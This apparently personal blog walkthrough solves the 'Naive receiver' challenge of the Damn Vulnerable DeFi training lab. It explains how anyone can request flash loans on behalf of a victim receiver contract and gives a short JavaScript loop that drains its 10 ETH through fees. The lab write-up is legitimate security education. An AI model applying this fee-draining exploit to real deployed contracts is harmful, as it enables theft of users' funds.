There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
Challenge 2 is “Naive receiver” and from the description we can figure out a few things:
- Pool with 1000 ETH balance
- Flash loans with a fixed fee of 1 ETH
- User deployed contract with 10 ETH balance
Our goal is to take the ETH out of the user’s contract (if possible in a single transaction).
Same strategy as challenge #1, we will start by running the tests, checking the results, and inspecting the challenge.js file.
yarn run naive-receiver
Running the command should return the results to the terminal.

So the test results just tell us that it expected the users contract value to be 0
.
We will need to take a deeper look at the smart contracts to understand how we can execute this.
First, I will open up the naive-receiver.challenge.js
file and read over the deployment steps, I’ve pasted the excerpt pertaining to our solution and success condition below.
naive-receiver.challenge.js
[. . . . . .]
receiver = await FlashLoanReceiverFactory.deploy(pool.address);
await deployer.sendTransaction({ to: receiver.address, value: ETHER_IN_RECEIVER });
await expect(
receiver.onFlashLoan(deployer.address, ETH, ETHER_IN_RECEIVER, 10n**18n, "0x")
).to.be.reverted;
expect(
await ethers.provider.getBalance(receiver.address)
).to.eq(ETHER_IN_RECEIVER);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// All ETH has been drained from the receiver
expect(
await ethers.provider.getBalance(receiver.address)
).to.be.equal(0);
expect(
await ethers.provider.getBalance(pool.address)
).to.be.equal(ETHER_IN_POOL + ETHER_IN_RECEIVER);
});
With all of the data that we’ve gathered so far I believe we should take a look at the two smart contracts supplied to us and form an attack.
NaiveReceiverLenderPool.sol is the contract that offers flash loans for a FIXED_FEE of 1 ETH.
FlashLoanReceiver.sol is the user contract we want to empty the balance of and if we look closely we can see that no matter the call for a flashloan the amountToBeRepaid is always amount + fee
.
Knowing this if we call for a flashLoan 10 times with the address set to the receiver than it should take the balance down to 0.

With a basic for loop we can call the pool
contract as player with .connect(player)
and call upon the flashLoan
function that takes a number of arguments, the first being the address of the user’s receiving contract.

Here we see the arguments that needed to be passed along with the flashLoan function.
.flashLoan(
receiver.address, THE ADDRESS OF THE RECIEVER
pool.ETH(), TOKEN ADDRESS
0, TOKEN AMOUNT
"0x" CALLDATA
)
Since the naive lending contract has no sort of checks to ensure we are the owner of the contract making the call, we can take advantage of the user’s code in the receiving contract.
Save your updated challenge file with the solution:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, pool.ETH(), 0, "0x")
}
});
Now when you yarn run naive-receiver
you should see passing tests.

Congratulations if you made it this far with me, this was challenge #2 of damn vulnerable defi.
See you guys in the next one.
DAVE